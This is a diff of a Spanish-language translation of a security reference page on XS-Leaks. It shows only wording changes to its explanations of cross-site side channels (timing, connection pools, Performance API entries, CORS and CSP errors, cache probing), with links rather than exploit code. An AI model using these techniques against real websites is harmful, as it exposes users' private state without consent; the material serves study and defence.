> **XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **trabajadores de servicio** ya que interferirían con otras filtraciones en XSinator. Además, decidimos **excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos.
|
||||
|
||||
## **Técnicas Basadas en Tiempo**
|
||||
|
||||
@ -134,7 +134,7 @@ Se ha observado que en ausencia de [Protecciones de Framing](https://xsleaks.dev
|
||||
- **Resumen**: Si puedes hacer que la página dé un error cuando se accede al contenido correcto y que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
|
||||
- **Ejemplo de Código**:
|
||||
|
||||
Supongamos que puedes **insertar** la **página** que tiene el **contenido** **secreto dentro de un Iframe**.
|
||||
Supongamos que puedes **insertar** la **página** que tiene el **contenido secreto** **dentro de un Iframe**.
|
||||
|
||||
Puedes **hacer que la víctima busque** el archivo que contiene "_**flag**_" usando un **Iframe** (explotando un CSRF, por ejemplo). Dentro del Iframe sabes que el _**evento onload**_ se **ejecutará siempre al menos una vez**. Luego, puedes **cambiar** la **URL** del **iframe** pero cambiando solo el **contenido** del **hash** dentro de la URL.
|
||||
|
||||
@ -164,7 +164,7 @@ javascript-execution-xs-leak.md
|
||||
- **Métodos de Inclusión**: Elementos HTML
|
||||
- **Diferencia Detectable**: Código de Estado y Encabezados
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Resumen**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que impide que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (que indica éxito o error) y el `Content-Type` (que indica si está protegido por **CORB**), lo que lleva a una posible fuga de información.
|
||||
- **Resumen**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que impide que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (indicando éxito o error) y el `Content-Type` (denotando si está protegido por **CORB**), lo que puede llevar a una posible fuga de información.
|
||||
- **Ejemplo de Código**:
|
||||
|
||||
Consulta el enlace de más información para obtener más información sobre el ataque.
|
||||
@ -180,7 +180,7 @@ Consulta el enlace de más información para obtener más información sobre el
|
||||
Es posible **cargar una página** dentro de un **iframe** y usar el **`#id_value`** para hacer que la página **enfoque en el elemento** del iframe indicado, si se activa una señal de **`onblur`**, el elemento ID existe.\
|
||||
Puedes realizar el mismo ataque con etiquetas **`portal`**.
|
||||
|
||||
### Transmisiones postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
### Broadcasts de postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
|
||||
- **Métodos de Inclusión**: Frames, Pop-ups
|
||||
- **Diferencia Detectable**: Uso de API
|
||||
@ -188,7 +188,7 @@ Puedes realizar el mismo ataque con etiquetas **`portal`**.
|
||||
- **Resumen**: Reunir información sensible de un postMessage o usar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página.
|
||||
- **Ejemplo de Código**: `Cualquier código que escuche todos los postMessages.`
|
||||
|
||||
Las aplicaciones utilizan frecuentemente [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente **información sensible** si el parámetro `targetOrigin` no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero acto de recibir un mensaje puede actuar como un **oráculo**; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o identidad del usuario, como si están autenticados o no.
|
||||
Las aplicaciones utilizan frecuentemente [`broadcasts de postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente **información sensible** si el parámetro `targetOrigin` no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero acto de recibir un mensaje puede actuar como un **oráculo**; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o identidad del usuario, como si están autenticados o no.
|
||||
|
||||
## Técnicas de Límites Globales
|
||||
|
||||
@ -200,7 +200,7 @@ Las aplicaciones utilizan frecuentemente [`postMessage` broadcasts](https://deve
|
||||
- **Resumen**: Agotar el límite de conexiones de WebSocket filtra el número de conexiones de WebSocket de una página de origen cruzado.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
Es posible identificar si, y cuántas, **conexiones de WebSocket usa una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones de WebSocket.
|
||||
Es posible identificar si, y cuántas, **conexiones de WebSocket utiliza una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones de WebSocket.
|
||||
|
||||
Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que se haya cargado la web objetivo, intenta crear el máximo número de conexiones de WebSocket posible. El **número de excepciones lanzadas** es el **número de conexiones de WebSocket utilizadas por la ventana del sitio web objetivo**.
|
||||
|
||||
@ -212,7 +212,7 @@ Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSoc
|
||||
- **Resumen**: Detectar la Solicitud de Pago porque solo una puede estar activa a la vez.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Esta fuga XS permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
|
||||
Esta fuga de XS permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
|
||||
|
||||
Debido a que **solo una solicitud de pago puede estar activa** al mismo tiempo, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier intento adicional de usar esta API fallará y causará una **excepción de JavaScript**. El atacante puede explotar esto **intentando mostrar periódicamente la interfaz de usuario de la API de Pago**. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.
|
||||
|
||||
@ -238,7 +238,7 @@ JavaScript opera en un modelo de concurrencia de [bucle de eventos de un solo hi
|
||||
- **Métodos de Inclusión**:
|
||||
- **Diferencia Detectable**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Resumen:** Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir **cuánto tiempo tarda en estar disponible nuevamente**. Al insertar una operación de bloqueo (como un cálculo largo o una llamada a una API sincrónica) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecución del código subsiguiente, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
|
||||
- **Resumen:** Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir **cuánto tiempo tarda en estar disponible nuevamente el bucle de eventos**. Al insertar una operación de bloqueo (como un cálculo largo o una llamada a una API sincrónica) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecución del código subsiguiente, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
|
||||
- **Ejemplo de Código**:
|
||||
|
||||
Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir **Site Isolation**. **Site Isolation** es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporización de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos de otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo así las barreras protectoras establecidas por **Site Isolation**.
|
||||
@ -263,7 +263,7 @@ Los navegadores utilizan sockets para la comunicación con el servidor, pero deb
|
||||
1. Determinar el límite de sockets del navegador, por ejemplo, 256 sockets globales.
|
||||
2. Ocupando 255 sockets durante un período prolongado iniciando 255 solicitudes a varios hosts, diseñadas para mantener las conexiones abiertas sin completarse.
|
||||
3. Utilizar el socket 256 para enviar una solicitud a la página objetivo.
|
||||
4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud proceda proporciona al atacante información de temporización sobre la actividad de red relacionada con el socket del 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket nuevo disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está directamente relacionado con el tiempo que se requiere para que la solicitud a la página objetivo se complete.
|
||||
4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud proceda proporciona al atacante información de temporización sobre la actividad de red relacionada con el socket del 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket nuevo disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está, por lo tanto, directamente relacionado con el tiempo que se requiere para que la solicitud a la página objetivo se complete.
|
||||
|
||||
Para más info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
@ -272,15 +272,15 @@ Para más info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool
|
||||
- **Métodos de Inclusión**: Solicitudes de JavaScript
|
||||
- **Diferencia Detectable**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**:
|
||||
- **Resumen:** Es como la técnica anterior, pero en lugar de usar todos los sockets, **Chrome** impone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **temporizarla** y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tardará **más** y podemos detectarlo.
|
||||
- **Resumen:** Es como la técnica anterior, pero en lugar de usar todos los sockets, **Chrome** pone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **temporizarla** y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tomará **más tiempo** y podemos detectarlo.
|
||||
|
||||
## Técnicas de API de Rendimiento
|
||||
|
||||
La [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La Resource Timing API permite monitorear los tiempos de las solicitudes de red detalladamente, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
|
||||
La [`API de Rendimiento`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`API de Temporización de Recursos`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La API de Temporización de Recursos permite monitorear los tiempos de las solicitudes de red detalladamente, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
|
||||
|
||||
Esta riqueza de datos se puede recuperar a través de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), proporcionando una vista completa de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución al calcular la diferencia entre las marcas de tiempo obtenidas de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Sin embargo, vale la pena señalar que para ciertas operaciones en navegadores como Chrome, la precisión de `performance.now()` puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de temporización.
|
||||
|
||||
Más allá de las mediciones de temporización, la Performance API puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
|
||||
Más allá de las mediciones de temporización, la API de Rendimiento puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
|
||||
|
||||
### Fuga de Errores
|
||||
|
||||
@ -290,7 +290,7 @@ Más allá de las mediciones de temporización, la Performance API puede ser apr
|
||||
- **Resumen:** Una solicitud que resulta en errores no creará una entrada de temporización de recursos.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||||
|
||||
Es posible **diferenciar entre códigos de estado de respuesta HTTP** porque las solicitudes que conducen a un **error** **no crean una entrada de rendimiento**.
|
||||
Es posible **diferenciar entre códigos de estado de respuesta HTTP** porque las solicitudes que conducen a un **error** no **crean una entrada de rendimiento**.
|
||||
|
||||
### Error de Recarga de Estilo
|
||||
|
||||
@ -300,7 +300,7 @@ Es posible **diferenciar entre códigos de estado de respuesta HTTP** porque las
|
||||
- **Resumen:** Debido a un error del navegador, las solicitudes que resultan en errores se cargan dos veces.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
En la técnica anterior también se identificaron dos casos donde errores del navegador en GC llevan a que **los recursos se carguen dos veces cuando fallan al cargar**. Esto resultará en múltiples entradas en la API de Rendimiento y puede ser detectado.
|
||||
En la técnica anterior también se identificaron dos casos donde errores del navegador en GC llevan a que **los recursos se carguen dos veces cuando fallan en cargar**. Esto resultará en múltiples entradas en la API de Rendimiento y puede ser detectado.
|
||||
|
||||
### Error de Fusión de Solicitudes
|
||||
|
||||
@ -322,17 +322,17 @@ La técnica se encontró en una tabla en el documento mencionado, pero no se enc
|
||||
|
||||
Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta HTTP vacío porque las **páginas vacías no crean una entrada de rendimiento en algunos navegadores**.
|
||||
|
||||
### **Fuga del Auditor XSS**
|
||||
### **Fuga del Auditor de XSS**
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Contenido de la Página
|
||||
- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Resumen:** Usando el Auditor XSS en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
|
||||
- **Resumen:** Usando el Auditor de XSS en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
En Aserciones de Seguridad (SA), el Auditor XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), todavía está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor XSS podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el Auditor XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir siendo filtrada.
|
||||
En Aserciones de Seguridad (SA), el Auditor de XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), aún está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor de XSS podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el Auditor de XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor de XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir filtrándose.
|
||||
|
||||
### Fuga X-Frame
|
||||
### Fuga de X-Frame
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
@ -351,7 +351,7 @@ Lo mismo ocurre si usas una etiqueta **embed**.
|
||||
- **Resumen:** Las descargas no crean entradas de temporización de recursos en la API de Rendimiento.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Similar a la fuga XS descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, también **no crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
|
||||
Similar a la fuga de XS descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, tampoco **crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
|
||||
|
||||
### Fuga de Inicio de Redirección
|
||||
|
||||
@ -361,7 +361,7 @@ Similar a la fuga XS descrita, un **recurso que se descarga** debido al encabeza
|
||||
- **Resumen:** La entrada de temporización de recursos filtra el tiempo de inicio de una redirección.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Encontramos una instancia de fuga XS que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de temporización de redirectStart**.
|
||||
Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de temporización de redirectStart**.
|
||||
|
||||
### Fuga de Duración de Redirección
|
||||
|
||||
@ -373,7 +373,7 @@ Encontramos una instancia de fuga XS que abusa del comportamiento de algunos nav
|
||||
|
||||
En GC, la **duración** para solicitudes que resultan en una **redirección** es **negativa** y puede ser **distingida** de solicitudes que no resultan en una redirección.
|
||||
|
||||
### Fuga CORP
|
||||
### Fuga de CORP
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
@ -381,20 +381,20 @@ En GC, la **duración** para solicitudes que resultan en una **redirección** es
|
||||
- **Resumen:** Los recursos protegidos con CORP no crean entradas de temporización de recursos.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una técnica de fuga. En GC, cuando se establece el **encabezado CORP**, nextHopProtocol estará **vacío**. Ten en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
|
||||
En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una técnica de fuga. En GC, cuando se establece el **encabezado CORP**, el nextHopProtocol estará **vacío**. Ten en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
|
||||
|
||||
### Worker de Servicio
|
||||
### Trabajador de Servicio
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Uso de API
|
||||
- **Más info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
||||
- **Resumen:** Detectar si un worker de servicio está registrado para un origen específico.
|
||||
- **Resumen:** Detectar si un trabajador de servicio está registrado para un origen específico.
|
||||
- **Ejemplo de Código**:
|
||||
|
||||
Los workers de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
|
||||
Si un **recurso almacenado en caché** por un **worker de servicio** es accedido a través de **iframe**, el recurso será **cargado desde la caché del worker de servicio**.\
|
||||
Para detectar si el recurso fue **cargado desde la caché del worker de servicio**, se puede utilizar la **API de Rendimiento**.\
|
||||
Esto también podría hacerse con un ataque de temporización (consulta el documento para más información).
|
||||
Los trabajadores de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
|
||||
Si un **recurso almacenado en caché** por un **trabajador de servicio** es accedido a través de **iframe**, el recurso será **cargado desde la caché del trabajador de servicio**.\
|
||||
Para detectar si el recurso fue **cargado desde la caché del trabajador de servicio**, se puede utilizar la **API de Rendimiento**.\
|
||||
Esto también podría hacerse con un ataque de Temporización (consulta el documento para más información).
|
||||
|
||||
### Caché
|
||||
|
||||
@ -406,7 +406,7 @@ Esto también podría hacerse con un ataque de temporización (consulta el docum
|
||||
|
||||
Usando la [API de Rendimiento](./#performance-api) es posible verificar si un recurso está en caché.
|
||||
|
||||
### Duración de Red de Solicitudes
|
||||
### Duración de la Red
|
||||
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Diferencia Detectable**: Contenido de la Página
|
||||
@ -476,17 +476,17 @@ La propiedad message de la interfaz `MediaError` identifica de manera única los
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
- **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Resumen:** En las Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Esta técnica permite a un atacante **extraer el destino de la redirección de un sitio de origen cruzado** aprovechando cómo los navegadores basados en Webkit manejan las solicitudes CORS. Específicamente, cuando se envía una **solicitud habilitada para CORS** a un sitio objetivo que emite una redirección basada en el estado del usuario y el navegador posteriormente niega la solicitud, la **URL completa del objetivo de la redirección** se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirección, sino que también expone el punto final de la redirección y cualquier **parámetro de consulta sensible** que pueda contener.
|
||||
Esta técnica permite a un atacante **extraer el destino de una redirección de un sitio de origen cruzado** aprovechando cómo los navegadores basados en Webkit manejan las solicitudes CORS. Específicamente, cuando se envía una **solicitud habilitada para CORS** a un sitio objetivo que emite una redirección basada en el estado del usuario y el navegador posteriormente niega la solicitud, la **URL completa del objetivo de la redirección** se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirección, sino que también expone el punto final de la redirección y cualquier **parámetro de consulta sensible** que pueda contener.
|
||||
|
||||
### Error de SRI
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
- **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Resumen:** En las Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
@ -496,7 +496,7 @@ Un atacante puede explotar **mensajes de error verbosos** para deducir el tamañ
|
||||
|
||||
- **Métodos de Inclusión**: Ventanas emergentes
|
||||
- **Diferencia Detectable**: Código de Estado
|
||||
- **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Más info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Resumen:** Permitir solo el sitio web de las víctimas en el CSP si se accede a él intenta redirigir a un dominio diferente, el CSP generará un error detectable.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
@ -507,19 +507,19 @@ Los navegadores modernos no indicarán la URL a la que se redirigió, pero aún
|
||||
|
||||
- **Métodos de Inclusión**: Marcos, Ventanas emergentes
|
||||
- **Diferencia Detectable**: Contenido de la Página
|
||||
- **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
||||
- **Resumen:** Limpie el archivo de la caché. Abre la página objetivo y verifica si el archivo está presente en la caché.
|
||||
- **Ejemplo de Código:**
|
||||
|
||||
Los navegadores pueden usar una caché compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una página objetivo ha **solicitado un archivo específico**.
|
||||
|
||||
